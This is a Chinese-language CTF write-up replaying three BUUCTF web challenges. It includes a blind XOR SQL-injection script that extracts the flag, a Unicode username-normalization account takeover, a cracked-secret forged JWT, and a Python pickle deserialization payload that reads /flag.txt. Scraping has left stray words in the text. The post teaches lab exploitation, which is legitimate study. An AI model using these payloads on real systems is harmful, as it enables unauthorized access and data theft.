BUUCTF复现记录1

平台地址:https://buuoj.cn/  里面不少以前的题目,不错的平台。另外幕后大哥博客https://www.zhaoj.in/     如下的解题,都是参考各位大佬的WP去复现,重在记录下解题思路

以及了解一些常规姿式。

 

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目是这样的php

已经知道了表名和,列名,只须要想办法读取里面的内容就好了。html

过滤了一些字符,绕过就好了。这里经过BP抓包FUZZ一波,还有手工判断,这里有一些BP fuzz使用的payload:  https://github.com/fuzzdb-project/fuzzdbnode

能够发现过滤了and、or、”、union、#、 --+ ,空格、&&、||、/**/等python

这里空格可使用%0a,()进行绕过,^异或没有被过滤,因此这里可使用异或进行绕过,猜想出最终的flag.git

payload以下:github

import requests import string import urllib s = requests.session() #建立session对象,能够保存Cookie值 url = "http://f63702e7-ee2e-4b0d-be72-6f27bcc0e241.node1.buuoj.cn/index.php" i = 1 length = len(s.post(url,data={'id':'1'}).text) #输出post提交时,response响应的内容的长度,和后面提交payload时页面作对比 # print(len(s.post(url,data={'id':'1'}).text)) 长度312 

''' print(s.post(url,data={'id':'1'}).text) 当post提交1时输出为 <html> <head> <title>Hack World</title> </head> <body> <h3>All You Want Is In Table 'flag' and the column is 'flag'</h3> <h3>Now, just give the id of passage</h3> <form action="index.php" method="POST"> <input type="text" name="id"> <input type="submit"> </form> </body> </html> Hello, glzjin wants a girlfriend. ''' flag = '' while 1: status = 1 for x in string.printable:   #string.printable为可打印字符,在ASCII码中,0—32及127是控制字符,33~126为可打印字符   #其中48~57为0~965~90为26个字母大写,97~122为小写,其他为标点符号/运算符等 payload = r"1^(ascii(substr((select%0aflag%0afrom%0aflag),{0},1))={1})^1".format(str(i),str(ord(x))) #使用ascii是由于过滤掉了-,因此先转ascii,以后再打印出来。再可打印字符里面有- data = { 'id': urllib.parse.unquote(payload) #urllib.parse用于解析URL,解析上面的%0a } html = s.post(url,data=data).text if length == len(html): flag += x status = 1 print(flag) break else: status = 0 if status == 0: flag += "exp" print(flag) i += 1

flag为:flag{86b21334-8620-4133-98ad-a6940c102431}web

 

admin

题目链接:http://web37.node1.buuoj.cn/json

题目为admin,那么应该是须要咱们获得admin的帐号,而后登陆进去就能够获得flag了,能够,大小写注册都无论用。flask

随便注册个帐号进去看看,在change password页面源码里看到https://github.com/woadsl1234/hctf_flask/,是题目源码,使用的是Flask框架,那么就去看看route,看看里面的函数cookie

@app.route('/register', methods = ['GET', 'POST'])  //注册
def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegisterForm() if request.method == 'POST':    //定义提交方式为POST
        name = strlower(form.username.data)   //将提交的username转为小写
        if session.get('image').lower() != form.verify_code.data.lower(): flash('Wrong verify code.') return render_template('register.html', title = 'register', form=form) if User.query.filter_by(username = name).first(): flash('The username has been registered') return redirect(url_for('register')) user = User(username=name) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('register successful') return redirect(url_for('login')) return render_template('register.html', title = 'register', form = form) @app.route('/login', methods = ['GET', 'POST'])   //登陆
def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data)    //小写转换
        session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) @app.route('/change', methods = ['GET', 'POST'])    //改密码
def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name'])     //小写转换
        user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful') return redirect(url_for('index')) return render_template('change.html', title = 'change', form = form) def strlower(username): username = nodeprep.prepare(username) return username

在这里,咱们能够看到,他的strlower函数是这样定义的

def strlower(username): username = nodeprep.prepare(username) return username

username是经过nodeprep.prepare(username)以后获得的。

而对于nodeprep.prepare()函数,他须要使用的的库为twisted,到目前为止,他已经更新到了19.7.0,而题目使用的是10.2.0的,对于已经有了更高版本的时候,通常会想到应该会存在必定的漏洞

就像php版本同样,以前低版本的也存在各类各样的漏洞。

这里存在Unicode编码的一个问题,具体对应的编码:https://unicode-table.com/en/blocks/phonetic-extensions/

能够知道当使用了nodeprep.prepare()函数以后,若是咱们先使用unicode的编码的字符,好比说 ᴬ ,使用该函数以后,他会先变成大写的A,再使用一次就会变成小写的a。

那么这里就可使用他的漏洞进行注册了:

首先使用  ᴬdmin这个用户名进行注册 ,注册以后,进去就会变成 Admin

而后改密码,随便改一个密码,改密码以后,再次通过nodeprep.prepare()函数,就能够将username变成admin了

最后退出,从新以admin的身份进行登陆,即刻获得flag

 

最后附上一叶飘零大佬的三解:https://www.anquanke.com/post/id/164086

 

[CISCN2019 华北赛区 Day1 Web2]ikun

打开题目,能够看到

B站鬼畜区大佬,各UP主都爱的素材。看到这,让我又想起了上次夕阳红打榜,NB,让我再次看到了,只要你有实力谁都愿意和你交好。

话很少说,审题。打开页面,知道,咱们须要购买lv6,应该是买到就能够给Flag吧。

先注册,随便注册个帐号,邮箱随便弄一个

注册以后能够看不到,钱不是不少,应该是不够买的

接下来先找到lv6,买下来才行,翻了十几页,没看到,脚本跑一下

import requests url = "http://26f12b49-df5d-419d-9c3a-50988d616703.node1.buuoj.cn/shop?page="

for i in range(1000): r = requests.get(url + str(i)) if "lv6.png" in r.text: print i break

最后跑出来在181页有lv6,虽然找到了,却是价格也太贵了,仍是点进去看一下

点击结算,操做失败,买不到。看一下源码,能够看到,有一个discount折扣,将其改小,改成0.00000001

结算后,自动跳转到另外的页面,须要用户为admin才能访问

 

 看一下cookie信息。发现有一个JWT(json web token),关于JWT能够到这了解更多:http://www.javashuo.com/article/p-zuvhvdiv-cy.html

 而后到 https://jwt.io/  进行查询解析,获得

这里将mortals,改成admin,密钥使用 https://github.com/brendan-rius/c-jwt-cracker 跑出来

最后获得密钥为1Kun,

 

将JWT的值改成以下,进行cookie伪造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

 

再查看源码的时候,找到有用的东西

下载下来,能够看到为该题的源码

在sshop/views/Admin.py 里面有个

关于python反序列话,能够看这 http://www.sohu.com/a/274879579_729271

而后利用python,里面的pickle库,进行序列化,读取flag。

payload:

import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a

获得:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

在六级会员页面,源码里面,会看到一个隐藏,将其去掉,而后在admin那按下回车,进行抓包

抓到获得,

将admin改成,刚才生成的payload,便可获得flag

相关文章
相关标签/搜索